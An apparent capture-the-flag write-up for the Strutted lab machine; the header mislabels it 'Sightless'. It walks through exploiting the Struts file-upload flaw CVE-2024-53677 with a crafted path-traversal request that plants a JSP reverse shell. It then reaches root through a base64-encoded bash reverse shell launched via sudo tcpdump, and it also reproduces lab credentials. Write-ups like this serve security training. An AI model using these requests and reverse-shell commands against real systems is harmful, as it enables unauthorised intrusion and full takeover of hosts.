Machine Info
Name | Sightless |
---|---|
OS | Linux |
Difficulty | Medium |
Release Date | 2025-01-23 |
Completed | 2025-02-16 |
Reconnaissance
nmap
nmap finds 2 open ports; 22/tcp (SSH), and 80/tcp (HTTP).
┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 8000 -sCV 10.10.11.59
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-09 15:25 EST
Warning: 10.10.11.59 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.59
Host is up (0.072s latency).
Not shown: 64389 closed tcp ports (reset), 1144 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.86 seconds
Port 22 (SSH) is running OpenSSH. Based on the version detected by nmap, the host is likely running Ubuntu 22.04 Jammy.
Port 80 (HTTP) is running nginx 1.18.0, and returns a redirect to strutted.htb
. Based on the HTTP redirect, this hostname can be added to /etc/hosts
.
10.10.11.59 strutted.htb
Nginx - Port 80
The site hosted by Nginx on port 80:
The site appears to contain a file upload that accepts image formats. A unique link will be generated for each uploaded image.
Additionally, the site indicates the environment is hosted using Docker, and provides a download link for the Docker image. Following this link downloads a ZIP file that contains the source code and configuration files for the web application.
┌──(kali㉿kali)-[~/Downloads]
└─$ unzip -l strutted.zip
Archive: strutted.zip
Length Date Time Name
--------- ---------- ----- ----
615 2025-01-07 00:59 Dockerfile
4064 2025-01-07 00:59 README.md
1361 2025-01-07 00:59 context.xml
0 2025-01-07 00:59 strutted/
3999 2025-01-07 00:59 strutted/pom.xml
5810 2025-01-07 00:59 strutted/mvnw.cmd
9113 2025-01-07 00:59 strutted/mvnw
0 2025-01-07 00:59 strutted/src/
0 2025-01-07 00:59 strutted/src/main/
0 2025-01-07 00:59 strutted/src/main/webapp/
0 2025-01-07 01:00 strutted/src/main/webapp/WEB-INF/
4303 2025-01-07 01:01 strutted/src/main/webapp/WEB-INF/error.jsp
1117 2025-01-07 00:59 strutted/src/main/webapp/WEB-INF/web.xml
4285 2025-01-07 01:01 strutted/src/main/webapp/WEB-INF/showImage.jsp
5647 2025-01-07 01:11 strutted/src/main/webapp/WEB-INF/upload.jsp
6125 2025-01-07 01:01 strutted/src/main/webapp/WEB-INF/how.jsp
6616 2025-01-07 01:01 strutted/src/main/webapp/WEB-INF/about.jsp
7120 2025-01-07 01:01 strutted/src/main/webapp/WEB-INF/success.jsp
0 2025-01-07 00:59 strutted/src/main/java/
0 2025-01-07 00:59 strutted/src/main/java/org/
0 2025-01-07 00:59 strutted/src/main/java/org/strutted/
0 2025-01-07 01:00 strutted/src/main/java/org/strutted/htb/
6656 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/Upload.java
1832 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/URLMapping.java
199 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/AboutAction.java
1582 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/DatabaseUtil.java
197 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/HowAction.java
1146 2025-01-07 00:59 strutted/src/main/java/org/strutted/htb/URLUtil.java
0 2025-01-07 00:59 strutted/src/main/resources/
2145 2025-01-07 01:00 strutted/src/main/resources/struts.xml
0 2025-01-07 00:59 strutted/target/
0 2025-01-07 00:59 strutted/target/generated-sources/
0 2025-01-07 00:59 strutted/target/generated-sources/annotations/
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/META-INF/
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/
587 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/error.jsp
1117 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/web.xml
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/
794034 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/javassist-3.29.0-GA.jar
14259880 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/sqlite-jdbc-3.47.1.0.jar
632267 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-lang3-3.13.0.jar
264823 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/ognl-3.3.4.jar
95505 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/javax.servlet-api-4.0.1.jar
74132 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-fileupload-1.5.jar
238400 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-text-1.10.0.jar
313296 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/log4j-api-2.20.0.jar
1519233 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/struts2-core-6.3.0.1.jar
1736381 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/freemarker-2.3.32.jar
483954 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/lib/commons-io-2.13.0.jar
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/
2315 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/struts.xml
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/
0 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/
454 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/AboutAction.class
3276 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLMapping.class
1610 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/URLUtil.class
7344 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/Upload.class
2899 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/DatabaseUtil.class
448 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/classes/org/strutted/htb/HowAction.class
5651 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/upload.jsp
6125 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/how.jsp
6918 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/about.jsp
7120 2025-01-07 00:59 strutted/target/strutted-1.0.0/WEB-INF/success.jsp
0 2025-01-07 00:59 strutted/target/classes/
2315 2025-01-07 00:59 strutted/target/classes/struts.xml
0 2025-01-07 00:59 strutted/target/classes/org/
0 2025-01-07 00:59 strutted/target/classes/org/strutted/
0 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/
454 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/AboutAction.class
3276 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/URLMapping.class
1610 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/URLUtil.class
7344 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/Upload.class
2899 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/DatabaseUtil.class
448 2025-01-07 00:59 strutted/target/classes/org/strutted/htb/HowAction.class
0 2025-01-07 00:59 strutted/target/maven-archiver/
57 2025-01-07 00:59 strutted/target/maven-archiver/pom.properties
19820601 2025-01-07 00:59 strutted/target/strutted-1.0.0.war
0 2025-01-07 00:59 strutted/target/maven-status/
0 2025-01-07 00:59 strutted/target/maven-status/maven-compiler-plugin/
0 2025-01-07 00:59 strutted/target/maven-status/maven-compiler-plugin/compile/
0 2025-01-07 00:59 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/
199 2025-01-07 00:59 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/createdFiles.lst
589 2025-01-07 00:59 strutted/target/maven-status/maven-compiler-plugin/compile/default-compile/inputFiles.lst
222 2025-01-07 00:59 tomcat-users.xml
--------- -------
40371715 86 files
There are several notable files included in strutted.zip
that reveal what technologies were used to build this web application, as well as the configuration that is possibly used by the instance deployed on strutted.htb
. Specifically, README.md
provides a high-level overview of the application and its functionality. pom.xml
lists the project’s dependencies, which include Apache Struts version 6.3.0.1. tomcat-users.xml
indicates the use of Apache Tomcat, and contains the credentials admin:skqKY6360z!Y
. DatabaseUtil.java
and URLMapping.java
include details of the database schema used by the application.
Vulnerability Analysis
Apache Struts
Currently, on the Apache Struts homepage, there is an announcement and security bulletin for CVE-2024-53677 which impacts versions prior to 6.4.0. This vulnerability is a result of flawed file upload logic in which an attacker may manipulate file upload parameters, leading to path traversal, potentially allowing for remote code execution. The Strutted web application appears to be using version 6.3.0.1 and allows for file uploads using the vulnerable FileUploadInterceptor (this can be seen in struts.xml
).
A Google search for CVE-2024-53677 returns a proof of concept exploit. The proof of concept includes a reference to a blog post that analyzes this vulnerability and provides several example scenarios. Successful exploitation of this vulnerability would allow an attacker to modify properties of the Struts ValueStack. The ValueStack is used to provide access to action properties. In the context of a file upload action, this would include the filename, allowing for path traversal, resulting in potential remote code execution.
Strutted
In the Strutted application, the vulnerable upload action using FileUploadInterceptor is named “upload”. The configuration of this action is found in struts.xml
. The configuration also defines org.strutted.htb.Upload
as the class used to handle uploads, and which file extensions are allowed to be uploaded (jpg, jpeg, png, and gif).
<action name="upload" class="org.strutted.htb.Upload">
<interceptor-ref name="fileUpload">
<param name="maximumSize">2097152</param>
<param name="allowedExtensions">jpg,jpeg,png,gif</param>
<param name="message">
Invalid file type! Allowed types: jpg, jpeg, png, gif.
</param>
</interceptor-ref>
<interceptor-ref name="defaultStack" />
<result name="input">WEB-INF/upload.jsp</result>
<result name="error">WEB-INF/error.jsp</result>
<result name="success">WEB-INF/success.jsp</result>
</action>
The Upload class, org.strutted.htb.Upload
, contains a several conditions that the uploaded file must match. Specifically, this class checks the content type and magic bytes of the uploaded file. The accepted content types are image/jpeg
, image/png
, and image/gif
. The uploaded file’s magic bytes are checked by reading the first 8 bytes of the file, then checking if they match that of the expected file type.
// JPEG
if (header[0] == (byte)0xFF && header[1] == (byte)0xD8 && header[2] == (byte)0xFF) {
return true;
}
// PNG
if (header[0] == (byte)0x89 && header[1] == (byte)0x50 && header[2] == (byte)0x4E && header[3] == (byte)0x47) {
return true;
}
// GIF (GIF87a or GIF89a)
if (header[0] == (byte)0x47 && header[1] == (byte)0x49 && header[2] == (byte)0x46 &&
header[3] == (byte)0x38 && (header[4] == (byte)0x37 || header[4] == (byte)0x39) && header[5] == (byte)0x61) {
return true;
}
These additional checks prevent directly uploading a JSP shell. However, with a specially crafted upload request, these checks may be bypassed. Using the technique described in the CVE-2024-53677 analysis post and proof of concept exploit, a shell may be written to an arbitrary path, allowing for remote code execution.
Specifying the content type as image/jpeg
, should ensure the first file upload condition is met. Including the magic bytes that are checked for jpeg files (FF D8 FF
) at the start of the shell payload should meet the second condition. The image upload path is constructed using the following: "uploads/" + timeStamp + "/" + uploadFileName
. Using the filename ../../b.jsp
should place the shell at the web root, making it accessible at http://strutted.htb/b.jsp.
POST /upload.action HTTP/1.1
Host: strutted.htb
Content-Type: multipart/form-data; boundary=---------------------------11563738178138441912293840439
-----------------------------11563738178138441912293840439
Content-Disposition: form-data; name="Upload"; filename="strutted.jpg"
Content-Type: image/jpeg
ÿØÿ
</usr/share/webshells/jsp/jsp-reverse.jsp>
-----------------------------11563738178138441912293840439
Content-Disposition: form-data; name="top.UploadFileName"
../../b.jsp
-----------------------------11563738178138441912293840439--
Exploitation
Strutted
After capturing a legitimate file upload request using the Burp Suite Proxy, the request can be modified as described in the previous section and sent using the Repeater. The response from the server indicates the shell was successfully uploaded.
The shell is accessible at the expected path: http://strutted.htb/b.jsp. It accepts an IP address and port to connect to, and starts a new bash process.
With nc
listening for new connections, the IP address and port can be sent to the server. A connection is received, and the shell appears to be functional. Using id
to get the current user and group, it appears the shell is running as tomcat.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.190] from (UNKNOWN) [10.10.11.59] 44498
id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
Privilege Escalation
james
After upgrading the reverse shell, listing the current directory (/var/lib/tomcat9
) reveals a config directory (/etc/tomcat9
).
tomcat@strutted:~$ pwd
/var/lib/tomcat9
tomcat@strutted:~$ ls -la
total 20
drwxr-xr-x 5 root root 4096 Feb 15 05:27 .
drwxr-xr-x 41 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 12 Jul 20 2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root root 17 Jul 20 2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root root 4096 Feb 15 05:27 policy
drwxrwxr-x 3 tomcat tomcat 4096 Jan 15 14:30 webapps
lrwxrwxrwx 1 root root 19 Jul 20 2022 work -> ../../cache/tomcat9
tomcat@strutted:~$ ls -la /etc/tomcat9
total 220
drwxr-xr-x 4 root root 4096 Jan 15 14:30 .
drwxr-xr-x 107 root root 4096 Jan 21 13:54 ..
drwxrwxr-x 3 root tomcat 4096 Jan 15 14:30 Catalina
-rw-r----- 1 root tomcat 7276 Jan 15 2022 catalina.properties
-rw-r----- 1 root tomcat 1400 Jan 15 2022 context.xml
-rw-r----- 1 root tomcat 1149 Jan 15 2022 jaspic-providers.xml
-rw-r----- 1 root tomcat 2799 Jul 19 2022 logging.properties
drwxr-xr-x 2 root tomcat 4096 Jan 15 14:30 policy.d
-rw-r----- 1 root tomcat 7606 Jan 7 10:40 server.xml
-rw-r----- 1 root tomcat 2902 Jan 11 13:49 tomcat-users.xml
-rw-r----- 1 root tomcat 172359 Jan 15 2022 web.xml
The most notable file in the config directory is tomcat-users.xml
. The majority of this file is commented out, including a password for the admin user (admin:IT14d6SSP81k
). This password is different from the one found in the sample tomcat-users.xml
file.
...
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
...
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
...
</tomcat-users>
Listing the contents of /etc/passwd
, there does not appear to be a user with the name admin. However, there are 3 non-standard users. tomcat is the current user, which is configured with a home directory of /var/lib/tomcat9
, and no login shell. james has the name Network Administrator, a home directory of /home/james
, and a login shell of /bin/bash
. _laurel is configured with a home directory of /var/log/laurel
and no login shell.
tomcat:x:998:998:Apache Tomcat:/var/lib/tomcat9:/usr/sbin/nologin
james:x:1000:1000:Network Administrator:/home/james:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
james appears to be the only user with a home directory in /home
. This directory is not readable as the user, tomcat.
tomcat@strutted:~$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 Jan 15 14:30 .
drwxr-xr-x 18 root root 4096 Jan 15 14:30 ..
drwxr-x--- 3 james james 4096 Jan 15 15:36 james
/var/log/laurel
appears to contain several log files. These are only readable and writable by _laurel.
tomcat@strutted:~$ ls -la /var/log/laurel
total 71624
drwxr-xr-x 2 _laurel _laurel 4096 Feb 16 17:24 .
drwxrwxr-x 12 root syslog 4096 Feb 16 00:00 ..
-rw-------+ 1 _laurel _laurel 3271903 Feb 16 19:57 audit.log
-rw-------+ 1 _laurel _laurel 5000697 Feb 16 17:24 audit.log.1
-rw-------+ 1 _laurel _laurel 5000778 Feb 15 07:01 audit.log.10
-rw-------+ 1 _laurel _laurel 5000235 Jan 21 13:54 audit.log.11
-rw-------+ 1 _laurel _laurel 5000383 Jan 21 13:54 audit.log.12
-rw-------+ 1 _laurel _laurel 5000302 Jan 21 13:54 audit.log.13
-rw-------+ 1 _laurel _laurel 5000603 Jan 21 13:54 audit.log.14
-rw-------+ 1 _laurel _laurel 5000690 Feb 16 13:28 audit.log.2
-rw-------+ 1 _laurel _laurel 5000215 Feb 16 09:35 audit.log.3
-rw-------+ 1 _laurel _laurel 5000540 Feb 16 05:41 audit.log.4
-rw-------+ 1 _laurel _laurel 5000614 Feb 16 01:45 audit.log.5
-rw-------+ 1 _laurel _laurel 5000241 Feb 15 22:15 audit.log.6
-rw-------+ 1 _laurel _laurel 5000903 Feb 15 18:22 audit.log.7
-rw-------+ 1 _laurel _laurel 5000569 Feb 15 14:50 audit.log.8
-rw-------+ 1 _laurel _laurel 5000596 Feb 15 10:55 audit.log.9
Attempting to use the password from tomcat-users.xml
to su
to james is not successful.
tomcat@strutted:~$ su - james
Password:
su: Authentication failure
As previously identified, the server is running OpenSSH. Attempting to authenticate as james:IT14d6SSP81k
via SSH is successful. Running id
, james is listed as a member of the sudo group.
┌──(kali㉿kali)-[~]
└─$ ssh [email protected]
...
[email protected]'s password:
...
james@strutted:~$ id
uid=1000(james) gid=1000(james) groups=1000(james),27(sudo)
Listing the home directory of james reveals user.txt
. This file contains the user flag.
james@strutted:~$ ls -la
total 28
drwxr-x--- 3 james james 4096 Jan 15 15:36 .
drwxr-xr-x 3 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 9 Jan 11 13:50 .bash_history -> /dev/null
-rw-r--r-- 1 james james 220 Jan 11 13:07 .bash_logout
-rw-r--r-- 1 james james 3771 Jan 11 13:07 .bashrc
drwx------ 2 james james 4096 Jan 15 15:24 .cache
-rw-r--r-- 1 james james 807 Jan 11 13:07 .profile
-rw-r----- 1 root james 33 Feb 15 05:32 user.txt
james@strutted:~$
james@strutted:~$ cat user.txt
837290**************************
root
As previously identified, james is a member of the sudo group. sudo -l
is used to identify what commands james may run with elevated privileges.
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
james is only permitted to run tcpdump
with elevated privileges. A quick search for tcpdump
on GTFOBins reveals that when tcpdump
is permitted to run with sudo
, it may be used to maintain elevated privileges. Using this technique, a base64 encoded reverse shell can be sent back to a nc
listener.
james@strutted:~$ COMMAND='echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xOTAvOTAwMiAwPiYx | base64 -d | bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
The reverse shell as root is successful.
┌──(kali㉿kali)-[~]
└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [10.10.14.190] from (UNKNOWN) [10.10.11.59] 54292
bash: cannot set terminal process group (2943): Inappropriate ioctl for device
bash: no job control in this shell
root@strutted:/home/james# id
id
uid=0(root) gid=0(root) groups=0(root)
Listing the directory /root
reveals root.txt
. This file contains the root flag.
root@strutted:~# ls -la
ls -la
total 32
drwx------ 5 root root 4096 Feb 15 05:32 .
drwxr-xr-x 18 root root 4096 Jan 15 14:30 ..
lrwxrwxrwx 1 root root 9 Apr 27 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
drwx------ 2 root root 4096 Jan 16 10:55 .cache
drwxr-xr-x 3 root root 4096 Jan 16 10:55 .local
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw-r----- 1 root root 33 Feb 15 05:32 root.txt
drwx------ 2 root root 4096 Jan 15 14:30 .ssh
root@strutted:~#
root@strutted:~# cat root.txt
cat root.txt
26d907**************************